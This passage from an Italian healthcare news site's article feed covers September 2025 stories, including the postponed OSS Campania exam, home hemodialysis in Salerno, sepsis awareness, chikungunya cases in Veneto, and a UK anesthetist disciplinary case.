organizzative", né comunicato un nuovo calendario. --- - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/concorso-oss-campania-2025-prove-punteggi-bando/ - Categorie: Concorsi, News Concorsi Il concorso OSS Campania 2025 per 1.274 posti è stato rinviato. Ecco punteggi, prove scritta e orale, banca dati quiz e come restare aggiornati sulle nuove date. Il concorso unico regionale per 1. 274 posti da Operatore Socio‐Sanitario (OSS) in Campania è stato rinviato a data da destinarsi, ma per i candidati rimangono chiare le modalità di selezione e i punteggi in palio. L'attesa riguarda ora solo la pubblicazione delle nuove date, che saranno comunicate dalle ASL capofila di Napoli e Salerno. Il concorso prevede una procedura per titoli ed esami. La prova scritta, con quesiti a risposta multipla estratti da una banca dati ufficiale già predisposta, assegnerà un massimo di 30 punti: per superarla sarà necessario ottenere almeno 21/30. Gli argomenti spaziano dalla legislazione sanitaria e sociale all'organizzazione del lavoro socio‐assistenziale, fino ad anatomia, fisiologia e tecniche di assistenza alla persona. A seguire, la prova orale, anch'essa con punteggio massimo di 30 punti e soglia minima fissata a 21, verificherà conoscenze in primo soccorso, igiene ambientale, metodologie assistenziali, comunicazione con pazienti e caregiver, diritto del lavoro, etica e deontologia. Sarà inoltre richiesto di dimostrare competenze di base in lingua inglese e nell'uso degli strumenti informatici più diffusi. Ai titoli presentati dai candidati verranno attribuiti fino a 40 punti, per un totale massimo di 100. La banca dati dei quiz, che doveva essere resa disponibile online prima delle prove, resta comunque un riferimento importante per la preparazione, con oltre 5. 000 domande a disposizione per esercitarsi. In origine le prove erano fissate tra il 22 e il 26 settembre nelle sedi del Palapartenope di Napoli e del Palavesuvio di Ponticelli, ma le "criticità tecniche e organizzative" segnalate dalle ASL hanno portato al rinvio generale. Nell'attesa delle nuove comunicazioni ufficiali, i candidati sono invitati a proseguire la preparazione e a monitorare costantemente i siti istituzionali e gli avvisi pubblicati dalle ASL capofila per non perdere aggiornamenti fondamentali. --- - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/bambino-gesu-naso-labbro-ricostruzione-3d/ - Categorie: Sanità - Tag: Innovazioni Mediche Al Bambino Gesù un intervento microchirurgico ha ricostruito naso e labbro superiore di un bimbo ferito da morso grazie a tecniche 3D innovative. Un delicato intervento microchirurgico ha permesso di ricostruire completamente naso e labbro superiore di un bambino di 10 anni arrivato in Italia dall’India, gravemente ferito dal morso di un animale. L'operazione, condotta dall'equipe di chirurgia plastica dell'Ospedale Pediatrico Bambino Gesù, ha utilizzato modelli e stampe 3D per pianificare con precisione ogni fase dell’intervento. «Non solo abbiamo ripristinato una parte fondamentale dell’aspetto fisico del bambino – spiega Mario Zama, responsabile dell’Unità operativa complessa di Chirurgia Plastica e Maxillofacciale – ma gli abbiamo restituito la possibilità di vivere una vita più serena e dignitosa». La ricostruzione del labbro superiore ha seguito tecniche simili a quelle per labiopalatoschisi, mentre il naso è stato ricostruito includendo mucosa interna, rivestimento esterno e struttura scheletrica. È stato utilizzato un lembo prelevato dal polso, collegato microchirurgicamente ai vasi facciali, e un lembo di fronte sagomato su modello 3D. Dopo tre settimane, la struttura del naso è stata completata con innesti di cartilagine costale. Aurelio Secinaro, dell'Unità di Imaging avanzato cardiotoracovascolare e fetale, sottolinea: «I modelli 3D hanno consentito una pianificazione precisa dell’intervento, aumentando sicurezza ed efficacia». Zama conclude: «Il risultato, eccezionale nel suo genere, è frutto della stretta collaborazione tra chirurghi, ingegneri, radiologi, anestesisti e rianimatori, grazie alle più avanzate tecniche chirurgiche e alla tecnologia 3D». --- > Completati i lavori per l’ospedale di comunità JB Festaz ad Aosta, apertura prevista a gennaio 2026. Fondi Pnrr e assistenza sanitaria territoriale vicina ai cittadini. - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/ospedale-comunita-jb-festaz-aosta-2026/ - Categorie: Sanità Completati i lavori per l’ospedale di comunità JB Festaz ad Aosta, apertura prevista a gennaio 2026. Fondi Pnrr e assistenza sanitaria territoriale vicina ai cittadini. Completati i lavori per l'ospedale di comunità JB Festaz ad Aosta, la cui apertura è prevista per gennaio 2026. Attualmente sono in corso le fasi di autorizzazione e accreditamento, necessarie per iniziare ad accogliere i pazienti. La struttura, interamente finanziata con fondi Pnrr per oltre 1,9 milioni di euro, rappresenta un'importante innovazione nell'ambito della riforma dell'assistenza territoriale. Gli ospedali di comunità sono concepiti come strutture di ricovero intermedio tra la casa e l'ospedale, con l'obiettivo di evitare ricoveri impropri, facilitare dimissioni protette e offrire assistenza sanitaria, stabilizzazione clinica e recupero funzionale vicino al domicilio dei pazienti. L'apertura del JB Festaz ad Aosta va nella direzione di garantire un'assistenza sanitaria più vicina ai cittadini, mantenendo i pazienti il più possibile vicino alle proprie famiglie e al territorio. Un'altra struttura simile, finanziata dalla Regione con 15 milioni di euro, è prevista a Verrès, per soddisfare le esigenze della media e bassa valle. Con questo progetto, la Valle d'Aosta rafforza il modello di sanità territoriale, puntando a cure più efficaci, sostenibili e vicine alla comunità. --- > Oltre 600 aspiranti medici a Pavia per il test del corso Harvey di Medicina in inglese. Solo poco più di 100 posti disponibili, tra studenti italiani e internazionali. - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/medicina-inglese-pavia-600-candidati-100-posti/ - Categorie: Attualità, Sanità Oltre 600 aspiranti medici a Pavia per il test del corso Harvey di Medicina in inglese. Solo poco più di 100 posti disponibili, tra studenti italiani e internazionali. Oltre 600 candidati si sono presentati ieri mattina per sostenere il test d'ingresso al corso di Medicina in lingua inglese "Harvey" dell'Università di Pavia, il primo in Italia completamente tenuto in inglese. I posti disponibili sono poco più di 100, con 35 riservati a studenti residenti all'estero e 5 per studenti cinesi. Il concorso prevede 60 quesiti su diverse aree: comprensione del testo e conoscenze acquisite negli studi (4), ragionamento logico e problemi (5), biologia (23), chimica (15) e fisica/matematica (13). "Il test era bilanciato - racconta Giorgia D'Ambrosio di Varese - i quesiti di biologia erano piuttosto difficili, quelli di logica e comprensione fattibili, chimica, fisica e matematica per lo più semplici. Speriamo sia andata bene". Molti candidati non tentavano il test per la prima volta. Alcuni avevano già provato a iscriversi ai corsi Golgi e a quello in inglese, oggi unico concorso disponibile dopo la riforma delle regole. "Non era difficile - aggiungono due studentesse di Pavia - lo scorso anno era più ostico. Se dovesse andare male, lo rifaremo". Il corso di medicina in inglese dura sei anni e fa parte del numero programmato nazionale, confermando l'attrattiva crescente di Pavia come polo per la formazione medica internazionale. --- > La Asl Salerno attiva il servizio di emodialisi a domicilio, coordinato dalla UOC di Nefrologia di Eboli. Tecnologia avanzata e telemedicina per migliorare la qualità della vita dei pazienti. - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/emodialisi-domiciliare-salerno-primo-paziente/ - Categorie: Sanità La Asl Salerno attiva il servizio di emodialisi a domicilio, coordinato dalla UOC di Nefrologia di Eboli. Tecnologia avanzata e telemedicina per migliorare la qualità della vita dei pazienti. Asl Salerno ha inaugurato un servizio di emodialisi a domicilio, destinato ai pazienti residenti in comuni difficilmente raggiungibili dalle strutture ospedaliere. Il progetto, coordinato dalla UOC di Nefrologia di Eboli sotto la direzione del dott. Giuseppe Gigliotti, rappresenta un passo importante verso un modello di assistenza territoriale avanzata, in cui la casa del paziente diventa il primo luogo di cura. Il servizio, noto come "rene artificiale domiciliare", permette di effettuare la dialisi direttamente nel domicilio del paziente, riducendo il disagio e migliorando la qualità della vita di chi normalmente deve recarsi in ospedale tre volte alla settimana per sedute di 4-5 ore. Il primo paziente a ricevere il trattamento, selezionato secondo criteri di eleggibilità clinica e territoriale, risiede a Sant'Angelo a Fasanella, piccolo comune della provincia di Salerno. L'intervento è stato effettuato in un edificio storico, un ex convento del 1500, opportunamente adattato per accogliere la tecnologia necessaria. "La casa come primo luogo di cura non può essere un semplice slogan - spiega il direttore generale della Asl Salerno, Gennaro Sosto -. Il rene artificiale domiciliare si integra in un modello di assistenza che vede l'Azienda e i suoi professionisti in prima linea per garantire cure efficaci anche nelle aree più disagiate". L'obiettivo è garantire un trattamento personalizzato e continuativo, unendo medicina di prossimità e telemedicina. La procedura domiciliare prevede l'installazione di un impianto completo, con rene artificiale e sistema di osmosi, e il collaudo della tecnologia. Ogni paziente ha a disposizione un infermiere dedicato, mentre la gestione clinica avviene attraverso una Cartella Clinica Elettronica collegata alla UOC di Nefrologia di Eboli e alla UOSD Emodialisi di Sapri. Tramite questa piattaforma, il personale sanitario monitora parametri vitali, saturimetria, ECG, pressione arteriosa e altri indicatori fondamentali, garantendo la sicurezza della terapia anche a distanza. "Questa innovazione consente di umanizzare il percorso di cura dei pazienti dializzati, offrendo maggiore autonomia e flessibilità" aggiunge il dott. Gigliotti. Il servizio, destinato soprattutto a chi vive in aree interne, mira a ridurre i ricoveri impropri e a favorire dimissioni protette, rafforzando il concetto di assistenza sanitaria vicino al domicilio del paziente. Con l'attivazione del servizio di emodialisi a domicilio, la Asl Salerno conferma l'impegno nella presa in carico globale del paziente, garantendo equità di accesso, qualità delle cure e un modello replicabile in altre province, portando la tecnologia avanzata e la telemedicina direttamente nelle case dei cittadini. --- > Il concorso OSS Campania 2025 per 1.274 posti subisce uno stop: rinviate le prove previste a settembre. Ecco cosa succede e quando ci saranno novità. - Published: 2025-09-17 - Modified: 2025-09-17 - URL: https://ossinreparto.it/news/2025/09/17/concorso-oss-campania-2025-prove-rinviate/ - Categorie: Concorsi, News Concorsi Il concorso OSS Campania 2025 per 1.274 posti subisce uno stop: rinviate le prove previste a settembre. Ecco cosa succede e quando ci saranno novità. Slittano le prove del Concorso Unico Regionale per Operatore Socio Sanitario (OSS), che avrebbe dovuto portare all'assunzione di 1. 274 unità a tempo indeterminato nelle strutture sanitarie campane. Le giornate fissate per il 22, 24, 25 e 26 settembre 2025, attese da migliaia di candidati, non si svolgeranno come da calendario. La decisione è arrivata con una comunicazione ufficiale diffusa oggi: a causare il rinvio sarebbero state "sopraggiunte criticità tecniche e organizzative" che, al momento, impediscono lo svolgimento regolare delle prove. Per ora, dunque, il concorso resta sospeso e le nuove date verranno comunicate in seguito. L'avviso sottolinea che tutte le sessioni di settembre sono annullate e invita i partecipanti ad attendere la riprogrammazione, che sarà resa nota esclusivamente attraverso i canali istituzionali. Una battuta d'arresto che lascia l'amaro in bocca a migliaia di candidati, molti dei quali avevano già pianificato viaggi, studi intensivi e giornate di permesso dal lavoro in vista della prova scritta. Solo poche settimane fa era stata diffusa la comunicazione con le date ufficiali del concorso OSS Campania 2025, che aveva fissato il calendario delle prove a Napoli (Mostra d'Oltremare, Palapartenope e Palavesuvio di Ponticelli) e a Salerno, suddividendo i partecipanti in tre turni giornalieri in base all'iniziale del cognome. Un'occasione di lavoro molto attesa: il concorso mette in palio 1. 274 posti a tempo indeterminato, distribuiti tra l'Area 1 (Napoli e provincia) e l'Area 2 (Salerno, Caserta, Avellino), con una graduatoria unica regionale. Il rinvio rappresenta dunque un duro colpo non solo per i candidati, ma anche per le stesse strutture sanitarie, alle prese con la cronica carenza di personale sociosanitario. Per i partecipanti resta ora l'incertezza: si dovrà attendere la nuova convocazione, che - come ribadito nell'avviso - avrà valore di notifica ufficiale e sarà pubblicata online. avviso_rinvio_prove_oss-concorso-campania-1274-posti --- > Un uomo ha bevuto soda caustica al posto dell'acqua in un bar di Monza: ricoverato al San Gerardo, non è in pericolo di vita. - Published: 2025-09-15 - Modified: 2025-09-15 - URL: https://ossinreparto.it/news/2025/09/15/monza-bar-acqua-soda-caustica-cliente-ricoverato/ - Categorie: Cronaca, Sanità Un uomo ha bevuto soda caustica al posto dell'acqua in un bar di Monza: ricoverato al San Gerardo, non è in pericolo di vita. Momenti di grande apprensione sabato 13 settembre in un bar di Monza, dove un uomo è stato ricoverato all'ospedale San Gerardo dopo aver ingerito accidentalmente soda caustica al posto di un semplice bicchiere d'acqua. Secondo quanto riportato da Ats Brianza, l'uomo stava facendo colazione con la moglie quando, dopo aver preso il primo sorso, ha subito accusato forti bruciori alla bocca e alla gola. La situazione è stata immediatamente segnalata al numero unico di emergenza 112, con l'intervento tempestivo della moglie e del personale del bar, che hanno prestato i primi soccorsi prima dell'arrivo degli operatori sanitari inviati dall'Agenzia regionale emergenza urgenza (Areu). Il cliente è stato poi trasferito in ospedale, dove i medici hanno rilevato lesioni all'apparato digerente. Le condizioni generali sono risultate serie, ma, secondo le informazioni diffuse, non risulterebbe in pericolo di vita. Gli ispettori della Struttura Sicurezza Alimentare del Servizio Igiene Alimenti e Nutrizione (SIAN) di Ats Brianza hanno subito avviato gli accertamenti. Il contenitore del detergente coinvolto, normalmente utilizzato per la pulizia delle lavastoviglie, è stato posto sotto sequestro, e l'autorità giudiziaria è stata informata dell'accaduto. Le indagini mirano a chiarire le modalità dell'errore e se vi siano responsabilità dirette o negligenze nel locale. Secondo Ats Brianza, l'intervento tempestivo del personale e la prontezza della moglie hanno probabilmente evitato conseguenze più gravi. L'uomo ha ricevuto assistenza immediata e continua in ospedale, con monitoraggio delle vie digestive e terapia per limitare gli effetti della sostanza corrosiva. Le autorità sanitarie e giudiziarie stanno inoltre valutando eventuali interventi mirati di prevenzione, tra cui linee guida più rigorose per i locali pubblici e campagne di sensibilizzazione sul corretto stoccaggio dei detergenti. L'obiettivo è evitare che episodi simili possano ripetersi, tutelando la sicurezza dei clienti e rafforzando le responsabilità dei gestori. L'uomo rimane ricoverato sotto osservazione, mentre le indagini proseguono per accertare l'esatta dinamica dell'episodio. La comunità locale e le autorità sanitarie seguono con attenzione l'evoluzione della vicenda, in attesa di comprendere come sia stato possibile un errore di tale gravità. --- - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/neonata-salvata-torino-intervento-colla-medica/ - Categorie: Sanità Torino: neonata salva grazie a colla medica simile all'Attak, intervento multidisciplinare innovativo all'ospedale Regina Margherita. Una neonata di pochi giorni di vita è stata salvata dai medici dell'ospedale infantile Regina Margherita di Torino grazie a due interventi complessi e all'uso di una colla medica a effetto immediato, simile agli adesivi istantanei in commercio. La piccola soffriva di una rara e gravissima malformazione vascolare al fegato, che provocava collegamenti anomali tra arterie e vene, mettendo a rischio la vita e compromettendo la funzionalità di cuore, polmoni e organi vitali. Interventi mirati con tecnica innovativa Gli interventi sono stati eseguiti rispettivamente a 6 e 13 giorni di vita. I medici hanno raggiunto la malformazione attraverso cateteri inseriti nei minimi vasi sanguigni, occludendola con una colla acrilica specifica, del tutto simile al comune "Attak". "Il 'corto circuito' fra vene e arterie stava letteralmente rubando sangue al resto del corpo, congestionando cuore e polmoni", spiegano i medici, sottolineando l'effetto immediato dell'intervento: pressione normale, polmoni decongestionati e organi vitali nutriti regolarmente. Un'équipe multidisciplinare al servizio della vita All'operazione ha partecipato un team multidisciplinare composto da specialisti degli ospedali Regina Margherita e Molinette, tra cui radiologi interventisti, chirurghi pediatrici e anestesisti, con il supporto del personale tecnico e infermieristico della sala operatoria. Livio Tranchida, direttore generale dell'azienda sanitaria, ha commentato: "Una storia a lieto fine che evidenzia le eccellenze multidisciplinari della nostra Città della Salute e della Scienza. Ringrazio i nostri professionisti per aver reso possibile ciò che sembrava impossibile". Futuro sereno per la piccola paziente Dopo l'intervento, la neonata respira autonomamente e si trova ora ricoverata in rianimazione, con prospettive di crescita normale. Questo caso rappresenta un esempio concreto di innovazione medica e collaborazione interdisciplinare. La storia della piccola invita a riflettere sul valore delle cure specialistiche e sulla capacità della medicina moderna di salvare vite in situazioni critiche. Seguite le ultime novità sulle innovazioni pediatriche e casi clinici straordinari sul nostro sito. --- > Covid in aumento e influenza 2025 emergente: esperti prevedono picco intenso. Vaccinazione over 65 fondamentale. - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/covid-influenza-2025-primi-casi-stagione-rischio/ - Categorie: Sanità - Tag: Covid, Influenza In Italia casi Covid in aumento e influenza 2025 emergente: esperti prevedono una stagione pesante, vaccinazione cruciale per over 65 e fragili. Il Covid-19 registra un aumento dei casi in Italia, mentre emergono già i primi segnali della nuova stagione influenzale 2025-2026. La variante Stratus (XFG), forma ricombinante di Sars-CoV-2, si distingue per la capacità di eludere parzialmente le difese immunitarie e mostra un elevato livello di contagiosità. Secondo l'ultimo bollettino del Ministero della Salute, nell'ultima settimana si contano oltre 2. 800 positivi, rispetto ai 2. 000 della settimana precedente. Allo stesso tempo, sono stati segnalati i primi casi sporadici di influenza e di altri coronavirus non SARS-CoV-2. Il virologo Fabrizio Pregliasco sottolinea: "In Lombardia il 19% dei campioni esaminati riguarda il Covid, mentre casi isolati di influenza sono già presenti. La sorveglianza virologica è affinata e permette di rilevare rapidamente le emergenze". Una stagione influenzale e respiratoria potenzialmente impegnativa Pregliasco richiama i dati provenienti dall'Australia: le ultime stagioni nel Paese hanno registrato episodi influenzali particolarmente severi, con predominanza dei virus A/H3N2 e B/Victoria. In Italia, la stagione influenzale passata ha contato oltre 16 milioni di casi, con un impatto stimato tra il 15% e il 25% della popolazione, circa 1 italiano su 4. Il virologo evidenzia anche la circolazione di altri virus respiratori, tra cui il virus respiratorio sinciziale (RSV) e il Covid, che non sempre seguono lo stesso andamento stagionale. L'esperto invita alla vaccinazione, ricordando che la copertura dello scorso anno tra gli over 65 era del 52,5% con tendenza alla riduzione. "È fondamentale pianificare la campagna vaccinale con un approccio personalizzato e accessibile, combinando vaccinazioni anti-influenzali e anti-Covid quando possibile", raccomanda Pregliasco. Riapertura scuole e andamento del Covid L'epidemiologo Massimo Ciccozzi sottolinea che la riapertura delle scuole può favorire un temporaneo rialzo dei contagi: "Con la ripresa delle attività scolastiche e lavorative, ci attendiamo una lieve crescita dei casi verso fine settembre, ma nulla che giustifichi allarmismi". La variante Stratus XFG, ricombinazione di LF. 7 e LP. 8. 1. 2, appare più contagiosa perché il sistema immunitario la riconosce con maggiore difficoltà, ma la sintomatologia resta generalmente di entità lieve o moderata. Pregliasco aggiunge che il Covid continua a manifestarsi con sintomi molto variabili: forme asintomatiche, lievi e più severe coesistono, a conferma della risposta individuale all'infezione. "Il virus si adatta senza aumentare significativamente la gravità complessiva. La nuova stagione respiratoria sarà un mix di virus, da monitorare attentamente ma senza panico", conclude Ciccozzi. Vaccinazione e prevenzione: priorità per fragili e over 65 Gli esperti ribadiscono l'importanza di una campagna vaccinale mirata, soprattutto per anziani e soggetti fragili. La combinazione tra vaccinazioni anti-influenzale e anti-Covid rappresenta un'opportunità chiave per ridurre ricoveri e complicanze, alleggerendo la pressione sul sistema sanitario durante i mesi invernali. La prudenza e il rispetto delle norme igienico-sanitarie restano strumenti fondamentali per affrontare questa stagione respiratoria che, secondo i virologi, potrebbe essere più intensa rispetto agli ultimi anni. Seguiteci per aggiornamenti costanti sull'andamento di Covid e influenza 2025-2026. --- - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/sepsi-mortale-allarme-globale/ - Categorie: Sanità - Tag: Malattie Infettive La sepsi uccide oltre 11 milioni di persone ogni anno. Sintomi spesso aspecifici: diagnosi precoce e prevenzione sono cruciali. La sepsi, sindrome clinica grave dovuta a una risposta disfunzionale dell'organismo a un'infezione, rappresenta oggi una delle principali cause di mortalità nel mondo. Colpisce ogni anno circa 48,9 milioni di persone e provoca oltre 11 milioni di decessi, equivalente a un morto ogni tre secondi, pari al 20% della mortalità globale. In Italia, la situazione non è meno critica: tra il 2003 e il 2020, il numero dei decessi legati alla sepsi è aumentato da circa 19mila a 70mila vittime, confermando l'urgenza di riconoscerla come priorità di sanità pubblica. In occasione del World Sepsis Day, che si celebra il 13 settembre, l'Istituto nazionale per le malattie infettive 'Lazzaro Spallanzani' Irccs di Roma rinnova il suo impegno nella prevenzione, nella ricerca e nella formazione. La giornata, promossa dalla Global Sepsis Alliance, mira a sensibilizzare cittadini, media e istituzioni sull'importanza di una risposta rapida e integrata: dalla prevenzione alla diagnosi precoce, fino alla terapia tempestiva e alla riabilitazione post-sepsi. Sepsi: l'emergenza sanitaria che uccide un milione di persone all'anno I sintomi della sepsi sono spesso aspecifici e variano da paziente a paziente, rendendo difficile l'identificazione tempestiva. Febbre alta, respirazione accelerata, brividi intensi e stato di confusione sono segnali che devono far scattare il sospetto. La rapidità di intervento terapeutico è infatti determinante per ridurre il rischio di insufficienza d'organo e shock settico, condizioni che possono rapidamente condurre al decesso. La sepsi può insorgere in seguito a infezioni batteriche, virali o fungine, comprese quelle delle vie respiratorie come influenza e Covid-19, o delle vie urinarie. Non colpisce solo pazienti ospedalizzati, ma anche persone fuori dagli ospedali, con maggiore rischio per anziani, bambini sotto un anno, immunocompromessi o soggetti con comorbidità. "La formazione del personale sanitario e la consapevolezza dei cittadini sono essenziali per contrastare la sepsi. Sapere riconoscere i segnali può salvare vite", sottolinea Massimo Girardis, ordinario di Anestesia e Terapia Intensiva all'Università di Modena e Reggio Emilia. La giornata mondiale della sepsi invita quindi a riflettere sull'importanza della prevenzione, della diagnosi precoce e dell'accesso tempestivo alle cure intensive, strumenti chiave per ridurre l'impatto di questa malattia silenziosa e letale. Seguite gli aggiornamenti e le campagne informative per imparare a riconoscere i segnali e contribuire alla lotta globale contro la sepsi. Il ruolo fondamentale dell'OSS In questo contesto, l'Operatore Socio-Sanitario (OSS) riveste un ruolo fondamentale. Grazie alla presenza costante accanto al paziente, l'OSS può contribuire in modo decisivo al riconoscimento precoce dei sintomi della sepsi, monitorando parametri vitali, segnalando variazioni sospette al personale infermieristico e supportando le misure di prevenzione delle infezioni. Inoltre, l'OSS assicura assistenza quotidiana, favorisce l'igiene e la mobilizzazione del paziente, collabora alla somministrazione dei protocolli terapeutici sotto supervisione e sostiene la comunicazione con famiglie e caregiver. La loro attività rappresenta quindi un tassello imprescindibile nella rete di sicurezza sanitaria, capace di ridurre il rischio di complicanze gravi e di migliorare la qualità delle cure. --- - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/medici-famiglia-case-comunita-nuove-regole/ - Categorie: Sanità - Tag: Assistenza Territoriale, Case della Comunità, Continuità Assistenziale, Medici di Famiglia Nuove linee guida per i medici di famiglia nelle Case della Comunità: turni H24, équipe multiprofessionali e assistenza ai cronici. Le nuove Linee di indirizzo approvate dalla Conferenza delle Regioni ridefiniscono il ruolo dei medici di famiglia nelle Case della Comunità, introducendo turni strutturati, obblighi di presenza e un approccio multiprofessionale volto a garantire continuità assistenziale, prevenzione e presa in carico dei pazienti cronici. Secondo il nuovo modello, nelle Case della Comunità hub la presenza dei medici sarà garantita H24 per 7 giorni a settimana, mentre nelle strutture spoke i turni copriranno H12 per 6 giorni, andando oltre l'attività tradizionale e rispondendo alla necessità di capillarità territoriale. Le strutture diventeranno veri e propri punti di riferimento, collegati a ospedali, farmacie, servizi sociali e consultori. I medici opereranno in équipe multiprofessionali, condividendo dati e piani di cura tramite Fascicolo Sanitario Elettronico e piattaforme di telemedicina. Le funzioni includono gestione della cronicità, assistenza domiciliare, prevenzione e campagne vaccinali, rilascio di certificazioni, prime diagnosi con strumentazioni di base e assistenza a turisti e cittadini non residenti. Le linee guida mirano a superare la vecchia guardia medica, assicurando copertura diurna e feriale in coordinamento con la Centrale Operativa 116117. Le Case della Comunità saranno dotate di strumenti diagnostici rapidi (ECG, ecografi, test immediati) e sistemi interoperabili, mentre i professionisti seguiranno aggiornamenti continui, compresi corsi di Basic Life Support, per garantire standard di sicurezza e qualità elevati. Il nuovo approccio rappresenta una sanità di prossimità, capace di intervenire prima delle emergenze, valorizzando la collaborazione tra professionisti e rendendo l'assistenza più vicina alle persone, con particolare attenzione ai territori periferici e fragili. --- > Allarme Chikungunya a Verona, Veneto: 46 casi confermati, disinfestazioni intensificate e sagre sospese. Ecco come difendersi dalla zanzara tigre. - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/chikungunya-veneto-46-casi-verona-emergenza-zanzare/ - Categorie: Sanità - Tag: Chikungunya, Infezioni, Malattie Infettive, Virus Allarme Chikungunya a Verona, Veneto: 46 casi confermati, disinfestazioni intensificate e sagre sospese. Ecco come difendersi dalla zanzara tigre. Sale la preoccupazione in Veneto per la diffusione del virus Chikungunya, con 46 casi autoctoni confermati nella sola provincia di Verona. La situazione si concentra soprattutto nell’area di Isola della Scala, dove l’ultimo caso è stato segnalato il 13 settembre, e dove sono state già eseguite ripetute disinfestazioni per contenere il contagio. Il primo caso locale è stato diagnosticato il 6 agosto in una donna di 64 anni di Arbizzano, che non aveva viaggiato all’estero: da allora i casi si sono rapidamente moltiplicati toccando diversi comuni, tra cui Domegliara, Sant’Ambrogio, San Pietro in Cariano, Negrar e Parona. La diffusione ha portato a misure precauzionali rigorose: sono state sospese sagre e manifestazioni popolari a rischio, come la Fiera del Riso di Isola della Scala, prevista dal 19 settembre al 12 ottobre. Secondo gli esperti, il ceppo virale isolato in Veneto è quello originario del Madagascar e l’infezione potrebbe essere stata introdotta da un turista straniero o da un residente rientrato da un Paese a rischio. La trasmissione avviene esclusivamente tramite la puntura della zanzara tigre, che ha un raggio di azione limitato a circa 200-300 metri, circoscrivendo fino a oggi l'epidemia quasi esclusivamente al territorio scaligero. Oltre alle disinfestazioni pubbliche, si raccomanda ai cittadini di evitare ristagni d’acqua che favoriscono la proliferazione delle zanzare e di isolarsi almeno cinque giorni in caso di febbre alta per non amplificare il contagio attraverso le punture di zanzara. Nonostante il crescente numero di casi, la letalità rimane bassa, tuttavia la malattia provoca sintomi debilitanti come febbre alta e dolori articolari particolarmente intensi. La situazione è monitorata costantemente dalla Regione Veneto e dall’Istituto Superiore di Sanità che invitano alla massima collaborazione della popolazione per arginare la diffusione. --- > Nel 2025 rekord di chikungunya in Europa con 300+ casi e 146 in Italia. Veneto ed Emilia-Romagna tra le regioni più colpite. - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/14/chikungunya-2025-boom-casi-italia-europa/ - Categorie: Sanità - Tag: Chikungunya, Infezioni, Malattie Infettive, Virus Nel 2025 rekord di chikungunya in Europa con 300+ casi e 146 in Italia. Veneto ed Emilia-Romagna tra le regioni più colpite. Il 2025 segna un aumento senza precedenti dei casi di chikungunya in Europa e in particolare in Italia. Secondo i dati aggiornati al 10 settembre, la malattia trasmessa dalla zanzara Aedes ha registrato oltre 300 casi di trasmissione locale solo in Francia e 146 confermati in Italia dall'inizio dell'anno. In Veneto, nei primi nove mesi del 2025, sono stati documentati più di 200 casi, con una diffusione che coinvolge anche le regioni del nord come Emilia-Romagna e Veneto. Il virus, storicamente confinato nelle regioni tropicali, si sta espandendo rapidamente anche nelle aree temperate, complici i cambiamenti climatici e la mobilità internazionale. La zona del Mediterraneo si conferma un focolaio attivo, con oltre 100 paesi colpiti globalmente e 5,6 miliardi di persone a rischio secondo l'Organizzazione Mondiale della Sanità (OMS). I sintomi, che includono febbre alta, eruzioni cutanee e dolori articolari severi, possono lasciare sequele a lungo termine, soprattutto negli anziani e nei soggetti con fragilità. Attualmente, non esistono terapie antivirali specifiche: la cura è sintomatica e la prevenzione si basa sul controllo delle zanzare e sulla vaccinazione, con due vaccini approvati ma ancora poco disponibili su scala globale. In Italia e in Europa, le autorità sanitarie monitorano la situazione con attenzione, invitando a mantenere alta la soglia di allerta durante la stagione autunnale, quando le zanzare vettori restano attive. L'ECDC parla di una "nuova normalità" per le malattie vettore-trasmesse, sottolineando la necessità di investimenti in sorveglianza e ricerca. --- - Published: 2025-09-13 - Modified: 2025-09-14 - URL: https://ossinreparto.it/news/2025/09/13/anestesista-uk-lascia-paziente-sotto-anestesia-per-sesso-infermiera/ - Categorie: Cronaca, Sanità Al Tameside Hospital di Manchester un medico ha abbandonato il paziente sotto anestesia per avere rapporti con un'infermiera. Ha lasciato un paziente incosciente sul tavolo operatorio per allontanarsi con un'infermiera e avere rapporti sessuali in un'altra stanza. È l'accusa mossa al dottor Suhail Anjum, 44 anni, consulente anestesista, finito davanti al Medical Practitioners Tribunal Service (MPTS) nel Regno Unito. L'episodio risale al 16 settembre 2023 al Tameside Hospital di Ashton-under-Lyne, nella Greater Manchester. Secondo quanto ricostruito, il medico aveva chiesto a una collega di "monitorare il paziente" durante una presunta "pausa di conforto". In realtà, si era allontanato per raggiungere una seconda sala operatoria, dove sarebbe stato sorpreso da un'infermiera in una "posizione compromettente" con una collega (identificata come Nurse C). Le ammissioni in aula Davanti al tribunale professionale, Anjum non ha negato i fatti, definendo il proprio comportamento "shameful" (vergognoso). Ha spiegato di attraversare un periodo familiare complicato, dopo la nascita prematura della figlia e una crisi con la moglie, sottolineando come si sia trattato di un "errore di giudizio" isolato. "Mi assumo ogni responsabilità - ha dichiarato - e chiedo scusa ai colleghi, al sistema sanitario e soprattutto ai pazienti. Non accadrà mai più". Nessun danno al paziente, ma "rischio potenziale" Durante l'udienza, la rappresentanza del General Medical Council (GMC) ha chiarito che il paziente, rimasto sotto anestesia per circa otto minuti in assenza dell'anestesista titolare, non ha riportato conseguenze cliniche. Tuttavia, il gesto è stato definito "un potenziale rischio per la sicurezza" e una violazione grave degli standard professionali. Procedura disciplinare in corso Il procedimento davanti al Medical Practitioners Tribunal Service è in corso e si concluderà nei prossimi giorni. Le possibili sanzioni spaziano da un richiamo formale alla sospensione fino alla radiazione dall'albo medico. Il caso, riportato dalla BBC, solleva interrogativi non solo disciplinari ma anche etici, mettendo in luce lo stress e le pressioni che gravano sul personale sanitario, ma soprattutto il delicato equilibrio di fiducia tra medici e pazienti. --- - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/news/2025/09/13/veneto-crollo-iscrizioni-infermieristica-rischio-9000-infermieri-2029/ - Categorie: Attualità Allarme in Veneto: calano 